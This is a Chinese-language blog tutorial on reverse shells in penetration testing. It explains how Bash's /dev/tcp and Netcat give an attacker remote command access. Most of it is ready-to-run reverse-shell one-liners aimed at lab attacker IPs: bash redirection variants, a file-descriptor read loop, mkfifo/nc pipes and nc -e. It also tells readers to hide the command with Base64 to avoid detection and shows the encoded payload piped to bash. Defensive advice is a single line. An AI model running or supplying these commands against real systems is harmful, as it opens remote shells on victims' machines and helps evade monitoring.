反弹 Shell（Reverse Shell）原理与实战详解

原创已于 2025-06-02 13:32:39 修改 · 1.4k 阅读

24 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

于 2025-06-02 13:29:35 首次发布

三、最常见的 Bash 反弹 Shell 示例

四、Bash 反弹 Shell 的原理详解

1. bash -i

2. >& /dev/tcp/host/port

3. /dev/tcp/host/port

4. 0>&1

总结：

五、Bash 反弹 Shell 的多种写法

2. 检查目标系统是否支持 /dev/tcp

在渗透测试和网络安全领域，反弹 Shell（Reverse Shell） 是一种常见的远程控制技术。它允许攻击者通过监听端口，接收来自目标主机的主动连接，从而获得对目标系统的远程命令行访问权限。

本文将深入解析反弹 Shell 的工作原理、常见实现方式以及相关工具使用技巧，帮助你全面掌握这一关键技术。

一、什么是反弹 Shell？

定义：

反弹 Shell 是指 被控主机主动向攻击者主机发起连接请求，建立一个 TCP 或 UDP 连接后，攻击者可以通过这个连接执行命令并获取输出结果，从而实现远程控制。

应用场景：

渗透测试中绕过防火墙限制
内网穿透时无法直接连接目标主机
获取 WebShell 后进一步提权或持久化控制

二、Netcat（nc）简介

Netcat 被称为“网络瑞士军刀”，是一款强大的网络调试和数据传输工具。它可以用于创建 TCP/UDP 连接、监听端口、发送文件等。

常见用法：

主动发送数据：

echo "Hello" | nc 192.168.1.100 1234

或

nc 192.168.1.100 1234 < file.txt

监听端口等待连接：

nc -lvnp 1234   # Linux
nc -lvvp 1234   # Windows (Ncat)

三、最常见的 Bash 反弹 Shell 示例

实验环境：

攻击者 IP：192.168.52.137
被攻击者 IP：192.168.52.141
使用 Netcat 监听端口

步骤如下：

攻击者监听端口：

nc -lvnp 1234

被攻击者执行反弹命令：

bash -i >& /dev/tcp/192.168.52.137/1234 0>&1

此时攻击者成功获得被攻击者的 Shell 权限。

四、Bash 反弹 Shell 的原理详解

我们来逐步拆解这条命令：

1. `bash -i`

启动一个交互式 Bash Shell，确保可以持续输入命令。

2. `>& /dev/tcp/host/port`

将标准输出（stdout）和标准错误输出（stderr）重定向到指定的 TCP 地址和端口。

3. `/dev/tcp/host/port`

这是 Bash 提供的一种特殊语法，表示尝试与目标主机建立 TCP 连接。例如：

exec 5<>/dev/tcp/192.168.1.100/1234

会打开一个读写通道（文件描述符 5），连接到指定地址。

4. `0>&1`

将标准输入（stdin）重定向到标准输出（stdout），即通过 TCP 连接接收用户输入。

总结：

整条命令的作用是：

在被控机器上启动一个交互式 shell；
将其所有输出（stdout 和 stderr）发送给攻击者；
将攻击者作为输入源（stdin），实现远程控制。

五、Bash 反弹 Shell 的多种写法

方法一：

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

或

bash -i >& /dev/tcp/192.168.1.100/1234 0<&1

0>&1 和 0<&1 本质上只是文件描述符重定向的方向不同，但在实际使用中效果一致。

方法二：

bash -i >& /dev/tcp/192.168.1.100/1234 <&2

或

bash -i >& /dev/tcp/192.168.1.100/1234 0<&2

将标准输入重定向到标准错误输出（2），再传递给 bash，实现类似效果。

方法三（高级写法）：

exec 5<>/dev/tcp/192.168.1.100/1234; cat <&5 | while read line; do $line >&5 2>&1; done

解释：

exec 5<>/dev/tcp/...：打开文件描述符 5 并连接到攻击者。
cat <&5：从描述符 5 中读取命令。
while read line：逐行执行命令，并将输出返回攻击者。

方法四（使用管道）：

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 1234 > /tmp/f

解释：

创建一个命名管道 /tmp/f。
cat /tmp/f 读取攻击者发来的命令。
/bin/sh -i 执行命令并将结果通过 nc 返回。
形成一个完整的命令执行回路。

六、使用 Netcat 反弹 Shell

如果支持 `-e` 参数（旧版本）：

nc -e /bin/bash 192.168.1.100 1234

如果不支持 `-e` 参数（新版本）：

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 1234 > /tmp/f

七、注意事项与最佳实践

1. 确保公网 IP

反弹 Shell 时应使用公网 IP，避免因内网 IP 无法通信导致失败。

2. 检查目标系统是否支持 `/dev/tcp`

部分系统（如某些嵌入式 Linux）可能不支持 Bash 的 /dev/tcp 功能。

3. 防火墙规则检查

确保攻击者监听的端口未被防火墙拦截。

4. 编码混淆与绕过检测

在真实攻防中，建议使用编码（如 Base64）或混淆技术隐藏反弹命令。

示例：

echo 'bash -i >& /dev/tcp/192.168.1.100/1234 0>&1' | base64
# 输出：YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQo=

然后在目标机器上执行：

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQo= | base64 -d | bash

八、反弹 Shell 命令生成工具推荐

需要的公众号联系我输入"反弹shell"

需要渗透机做反弹shell的可以使用云小站_专享特惠_云产品推荐-阿里云

九、总结

核心要点	描述
反弹 Shell 的本质	被控机主动连接攻击者，实现远程控制
关键命令结构	`bash -i >& /dev/tcp/ip/port 0>&1`
多种变体写法	包括文件描述符重定向、管道、循环等
Netcat 支持情况	注意是否支持 `-e` 参数
实战应用	绕过防火墙、内网穿透、WebShell 控制
安全防护建议	禁止非授权远程连接、监控异常流量